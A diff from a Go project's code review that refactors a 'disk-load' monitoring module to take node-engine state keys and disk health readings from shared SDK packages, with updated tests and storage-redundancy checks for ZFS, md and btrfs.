git.novox.be/novox/mesh-contracts/operator-and-conversation/go/seats/operatorchannel v0.0.0-00010101000000-000000000000
)
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+10 -30
View File
@@ -1,9 +1,9 @@
package main
// Where disk-load learns the data items it measures (novox/hq ADR 0577 clause 2): the node-engine's state data
// (engineDataBucket), one key `<node>.<module>` per module placed on this node that declares data items, as the
// (delivery.EngineDataBucket), one key `<node>.<module>` per module placed on this node that declares data items, as the
// engine composed them. disk-load watches its own node's keys and composes nothing: it reads no resolved values, no
// manifests and no assignments, so a manifest its mesh-sdk cannot judge never silences it, and a round reads one watched
// manifests and no placement, so a manifest its mesh-sdk cannot judge never silences it, and a round reads one watched
// map instead of several hundred keys over the tunnel (issue 1955).
import (
@@ -12,30 +12,11 @@ import (
"fmt"
"sync"
engineclient "git.novox.be/novox/mesh-contracts/go/clients/nodeengineclient"
nodeengine "git.novox.be/novox/mesh-contracts/go/seats/nodeengine"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/delivery"
)
// The node-engine's state data as the bus names it: the seat's local name under its holder (the one name of the holder
// here, held equal to the manifest's `reads` by a unit row).
const (
engineHolder = "mesh-host"
engineDataBucket = engineHolder + "_" + nodeengine.StateData
engineDataRead = engineHolder + "." + nodeengine.StateData
)
// itemsOf are the seat's data items as this module measures them.
func itemsOf(in []nodeengine.PlacedDataItem) []catalogue.PlacedDataItem {
out := make([]catalogue.PlacedDataItem, 0, len(in))
for _, it := range in {
out = append(out, catalogue.PlacedDataItem{Module: it.Module, ID: it.Item, Class: it.Class, Path: it.Path,
CoveredBy: it.CoveredBy, Protection: it.Protection, Measure: it.Measure})
}
return out
}
// Watched is this node's data items as the engine's state data holds them, by module, kept from a watch of its keys.
type Watched struct {
Node string
@@ -48,7 +29,7 @@ type Watched struct {
// ErrNotWatchedYet is a round asked before the watch handed over the engine's current keys: no item is known yet, and
// none is taken for gone.
var ErrNotWatchedYet = errors.New("the node-engine's state " + engineDataBucket + " is not watched yet: " +
var ErrNotWatchedYet = errors.New("the node-engine's state " + delivery.EngineDataBucket + " is not watched yet: " +
"no data item of this machine is known")
// Take keeps one change of a key and answers the module it is of and whether its items changed.
@@ -67,22 +48,21 @@ func (w *Watched) Take(ch stdio.StateChange) (string, bool, error) {
delete(w.byModule, module)
return module, true, nil
}
d, err := engineclient.DecodeData(ch.Value)
d, err := delivery.DecodeEngineData(ch.Value)
if err != nil {
return "", false, fmt.Errorf("%s: %w", ch.Key, err)
}
if d.Node != w.Node {
return "", false, fmt.Errorf("%s names the machine %q, and this is %s", ch.Key, d.Node, w.Node)
}
items := itemsOf(d.Items)
for _, it := range items {
for _, it := range d.Items {
if it.Module != d.Module {
return "", false, fmt.Errorf("%s holds an item of %q, and is %s's", ch.Key, it.Module, d.Module)
}
}
changed := !sameItems(w.byModule[d.Module], items)
changed := !sameItems(w.byModule[d.Module], d.Items)
w.byKey[ch.Key] = d.Module
w.byModule[d.Module] = items
w.byModule[d.Module] = d.Items
return d.Module, changed, nil
}
@@ -122,11 +102,11 @@ func sameItems(a, b []catalogue.PlacedDataItem) bool {
// Follow watches this node's keys of the engine's state data, and asks the keeper to measure a module whose items changed
// after the watch began; it returns once the current keys were handed over (stdio.KeptState.Follow).
func (w *Watched) Follow(k *Keeper) error {
pattern, err := engineclient.DataNodeKeys(w.Node)
pattern, err := delivery.EngineDataNodeKeys(w.Node)
if err != nil {
return err
}
stdio.State(engineDataRead).Follow(pattern, func(ch stdio.StateChange) error {
stdio.State(delivery.EngineDataRead).Follow(pattern, func(ch stdio.StateChange) error {
module, changed, err := w.Take(ch)
if err != nil || !changed || ch.Current {
return err
+7 -18
View File
@@ -9,11 +9,10 @@ import (
"testing"
"time"
"git.novox.be/novox/mesh-catalog/modules/disk-load/diskreadings"
engineclient "git.novox.be/novox/mesh-contracts/go/clients/nodeengineclient"
nodeengine "git.novox.be/novox/mesh-contracts/go/seats/nodeengine"
stdio "git.novox.be/novox/mesh-sdk/go"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/delivery"
"git.novox.be/novox/mesh-sdk/go/health"
)
// ADR 0577 clauses 2, 3 (and the disk-load check of clause 5): the items measured come from the node-engine's keys of
@@ -21,9 +20,9 @@ import (
// that changes after the watch began has its module measured again, and one deleted is measured no more; an item whose
// measurement fails is a failed item of the round, which measures the rest, and the round's key says so.
func TestTheItemsComeFromTheEnginesKeysAndARoundSaysHowFarItGot(t *testing.T) {
key := func(module string) string { k, _ := engineclient.DataKey("ace", module); return k }
key := func(module string) string { k, _ := delivery.EngineDataKey("ace", module); return k }
value := func(module string, items ...catalogue.PlacedDataItem) json.RawMessage {
raw, err := engineclient.EncodeData(nodeengine.DataByNodeModuleValue{V: 1, Node: "ace", Module: module, Digest: "sha256:" + module, Items: seatItems(items)})
raw, err := delivery.EncodeEngineData(delivery.EngineData{Node: "ace", Module: module, Digest: "sha256:" + module, Items: items})
if err != nil {
t.Fatal(err)
}
@@ -138,7 +137,7 @@ func TestTheItemsComeFromTheEnginesKeysAndARoundSaysHowFarItGot(t *testing.T) {
// A restart: oldie's key was deleted while the watch was down, so no delete arrives. Once the watch handed over its
// keys, oldie's reading is retired and pg's kept; an empty set retires nothing (the engine has not written yet).
_ = readings.Put("ace.oldie.x", diskreadings.Reading{V: diskreadings.ReadingVersion, Node: "ace",
_ = readings.Put("ace.oldie.x", health.Reading{V: health.ReadingVersion, Node: "ace",
PlacedDataItem: catalogue.PlacedDataItem{Module: "oldie", ID: "x", Path: "/srv/oldie"}})
for _, restart := range []struct {
name string
@@ -168,12 +167,12 @@ func TestTheItemsComeFromTheEnginesKeysAndARoundSaysHowFarItGot(t *testing.T) {
}
}
func readingOf(s *memStore, key string) *diskreadings.Reading {
func readingOf(s *memStore, key string) *health.Reading {
raw, _ := s.Get(key)
if raw == nil {
return nil
}
r, err := diskreadings.DecodeReading(raw)
r, err := health.DecodeReading(raw)
if err != nil {
return nil
}
@@ -189,13 +188,3 @@ func waitFor(t *testing.T, done func() bool) {
}
t.Fatal("not done within 30 s")
}
// seatItems are measured items as the node-engine's state data keeps them.
func seatItems(in []catalogue.PlacedDataItem) []nodeengine.PlacedDataItem {
out := make([]nodeengine.PlacedDataItem, 0, len(in))
for _, it := range in {
out = append(out, nodeengine.PlacedDataItem{Module: it.Module, Item: it.ID, Class: it.Class, Path: it.Path,
CoveredBy: it.CoveredBy, Protection: it.Protection, Measure: it.Measure})
}
return out
}
+20 -19
View File
@@ -6,8 +6,9 @@ import (
"encoding/json"
"errors"
"fmt"
"git.novox.be/novox/mesh-catalog/modules/disk-load/diskreadings"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/delivery"
"git.novox.be/novox/mesh-sdk/go/health"
"os"
"os/exec"
"sort"
@@ -286,7 +287,7 @@ func (k *Keeper) MeasureModule(ctx context.Context, module string) {
// asked only on a change of that module's key (novox/hq ADR 0577 clause 2), never from a round. It is cleared when the
// item is declared again (measureOne).
func (k *Keeper) retireGone(module string, declared []catalogue.PlacedDataItem) (int, error) {
return k.retire(func(r diskreadings.Reading) bool { return r.Module == module }, declared)
return k.retire(func(r health.Reading) bool { return r.Module == module }, declared)
}
// RetireUnkeyed retires, once the watch handed over every current key, the readings of this node whose module has no
@@ -302,14 +303,14 @@ func (k *Keeper) RetireUnkeyed(ctx context.Context) {
return
}
if len(items) == 0 {
k.Say("the node-engine's state %s holds no key of this machine yet: no reading is retired for it", engineDataBucket)
k.Say("the node-engine's state %s holds no key of this machine yet: no reading is retired for it", delivery.EngineDataBucket)
return
}
var declared []catalogue.PlacedDataItem
for _, its := range items {
declared = append(declared, its...)
}
n, err := k.retire(func(r diskreadings.Reading) bool { _, keyed := items[r.Module]; return !keyed }, declared)
n, err := k.retire(func(r health.Reading) bool { _, keyed := items[r.Module]; return !keyed }, declared)
switch {
case err != nil:
k.Say("the readings of modules with no key are not all retired: %v", err)
@@ -319,14 +320,14 @@ func (k *Keeper) RetireUnkeyed(ctx context.Context) {
}
// retire marks retired every reading of this node that of picks and declared does not name.
func (k *Keeper) retire(of func(diskreadings.Reading) bool, declared []catalogue.PlacedDataItem) (int, error) {
func (k *Keeper) retire(of func(health.Reading) bool, declared []catalogue.PlacedDataItem) (int, error) {
keys, err := k.Store.Keys()
if err != nil {
return 0, err
}
declaredNow := map[string]bool{}
for _, it := range declared {
declaredNow[diskreadings.ReadingKey(k.Node, it.Module, it.ID)] = true
declaredNow[health.ReadingKey(k.Node, it.Module, it.ID)] = true
}
now := k.Measurer.Now().UTC()
n := 0
@@ -338,7 +339,7 @@ func (k *Keeper) retire(of func(diskreadings.Reading) bool, declared []catalogue
if err != nil || len(raw) == 0 {
continue
}
r, err := diskreadings.DecodeReading(raw)
r, err := health.DecodeReading(raw)
if err != nil || r.Node != k.Node || !of(r) || !r.RetiredAt.IsZero() {
continue
}
@@ -356,14 +357,14 @@ func (k *Keeper) retire(of func(diskreadings.Reading) bool, declared []catalogue
// when it changed. It answers whether it wrote the reading, what the measurement said failed ("" when it did not, or
// when the item was not measured now), and an error when the reading could not be read or kept.
func (k *Keeper) measureOne(ctx context.Context, it catalogue.PlacedDataItem, walks bool) (bool, string, error) {
key := diskreadings.ReadingKey(k.Node, it.Module, it.ID)
var prev *diskreadings.Reading
key := health.ReadingKey(k.Node, it.Module, it.ID)
var prev *health.Reading
raw, err := k.Store.Get(key)
if err != nil {
return false, "", err
}
if len(raw) > 0 {
if p, err := diskreadings.DecodeReading(raw); err == nil {
if p, err := health.DecodeReading(raw); err == nil {
prev = &p
}
}
@@ -373,7 +374,7 @@ func (k *Keeper) measureOne(ctx context.Context, it catalogue.PlacedDataItem, wa
return false, "", nil
}
m := k.Measurer.Measure(ctx, it)
next, changed := diskreadings.NextReading(prev, k.Node, it, m, now)
next, changed := health.NextReading(prev, k.Node, it, m, now)
if prev != nil && !prev.RetiredAt.IsZero() {
// Declared again: it is no longer retired.
next.RetiredAt, next.RetiredWhy, changed = time.Time{}, "", true
@@ -385,32 +386,32 @@ func (k *Keeper) measureOne(ctx context.Context, it catalogue.PlacedDataItem, wa
}
// MeasureNow measures one item now, walk or not, and writes its reading when it changed.
func (k *Keeper) MeasureNow(ctx context.Context, module, item string) (diskreadings.Reading, bool, error) {
func (k *Keeper) MeasureNow(ctx context.Context, module, item string) (health.Reading, bool, error) {
k.mu.Lock()
defer k.mu.Unlock()
items, err := k.Items(ctx)
if err != nil {
return diskreadings.Reading{}, false, err
return health.Reading{}, false, err
}
for _, it := range items[module] {
if it.ID != item {
continue
}
if it.Class == ClassCache {
return diskreadings.Reading{}, false, fmt.Errorf("%s.%s is a cache, which is listed and never measured", module, item)
return health.Reading{}, false, fmt.Errorf("%s.%s is a cache, which is listed and never measured", module, item)
}
w, _, err := k.measureOne(ctx, it, true)
if err != nil {
return diskreadings.Reading{}, false, err
return health.Reading{}, false, err
}
raw, err := k.Store.Get(diskreadings.ReadingKey(k.Node, module, item))
raw, err := k.Store.Get(health.ReadingKey(k.Node, module, item))
if err != nil {
return diskreadings.Reading{}, w, err
return health.Reading{}, w, err
}
r, err := diskreadings.DecodeReading(raw)
r, err := health.DecodeReading(raw)
return r, w, err
}
return diskreadings.Reading{}, false, fmt.Errorf("%s declares no data item %q on this machine", module, item)
return health.Reading{}, false, fmt.Errorf("%s declares no data item %q on this machine", module, item)
}
// Loop runs a round after a few minutes and then every `every`, with the walks of the night's round when it is the
+7 -7
View File
@@ -6,8 +6,8 @@ package main
import (
"context"
"fmt"
"git.novox.be/novox/mesh-catalog/modules/disk-load/diskreadings"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/health"
"regexp"
"strconv"
"strings"
@@ -56,9 +56,9 @@ func (b Measurer) exists(ctx context.Context, path string) bool {
}
// Measure is one item, measured now, by its own method.
func (b Measurer) Measure(ctx context.Context, it catalogue.PlacedDataItem) diskreadings.Measured {
func (b Measurer) Measure(ctx context.Context, it catalogue.PlacedDataItem) health.Measured {
at := b.Now().UTC()
m := diskreadings.Measured{MeasuredAt: &at}
m := health.Measured{MeasuredAt: &at}
if !b.exists(ctx, it.Path) {
m.Error = it.Path + " does not exist"
zero := int64(0)
@@ -120,7 +120,7 @@ func (b Measurer) Measure(ctx context.Context, it catalogue.PlacedDataItem) disk
// redundancyOf is the redundant storage a path is on: a ZFS pool's health, an md array's members, a btrfs
// filesystem's error counters. Nil for storage with no redundancy it knows how to read.
func (b Measurer) redundancyOf(ctx context.Context, path string) *diskreadings.Redundancy {
func (b Measurer) redundancyOf(ctx context.Context, path string) *health.Redundancy {
out, err := b.Run(ctx, "findmnt", "-no", "SOURCE,FSTYPE", "--target", path)
if err != nil {
return nil
@@ -134,7 +134,7 @@ func (b Measurer) redundancyOf(ctx context.Context, path string) *diskreadings.R
switch {
case fstype == "zfs":
pool, _, _ := strings.Cut(source, "/")
r := &diskreadings.Redundancy{Kind: "zfs", Where: pool}
r := &health.Redundancy{Kind: "zfs", Where: pool}
health, err := b.Run(ctx, "zpool", "list", "-H", "-o", "health", pool)
if err != nil {
r.Said = "zpool list: " + err.Error()
@@ -156,7 +156,7 @@ func (b Measurer) redundancyOf(ctx context.Context, path string) *diskreadings.R
return r
case strings.HasPrefix(source, "/dev/md"):
device := strings.TrimPrefix(source, "/dev/")
r := &diskreadings.Redundancy{Kind: "md", Where: device}
r := &health.Redundancy{Kind: "md", Where: device}
mdstat, err := b.Run(ctx, "cat", "/proc/mdstat")
if err != nil {
r.Said = err.Error()
@@ -175,7 +175,7 @@ func (b Measurer) redundancyOf(ctx context.Context, path string) *diskreadings.R
}
return r
case fstype == "btrfs":
r := &diskreadings.Redundancy{Kind: "btrfs", Where: source}
r := &health.Redundancy{Kind: "btrfs", Where: source}
stats, err := b.Run(ctx, "btrfs", "device", "stats", "--check", path)
if err != nil {
r.Healthy, r.Said = &no, "device errors: "+oneLineOf(err.Error())

Some files were not shown because too many files have changed in this diff Show More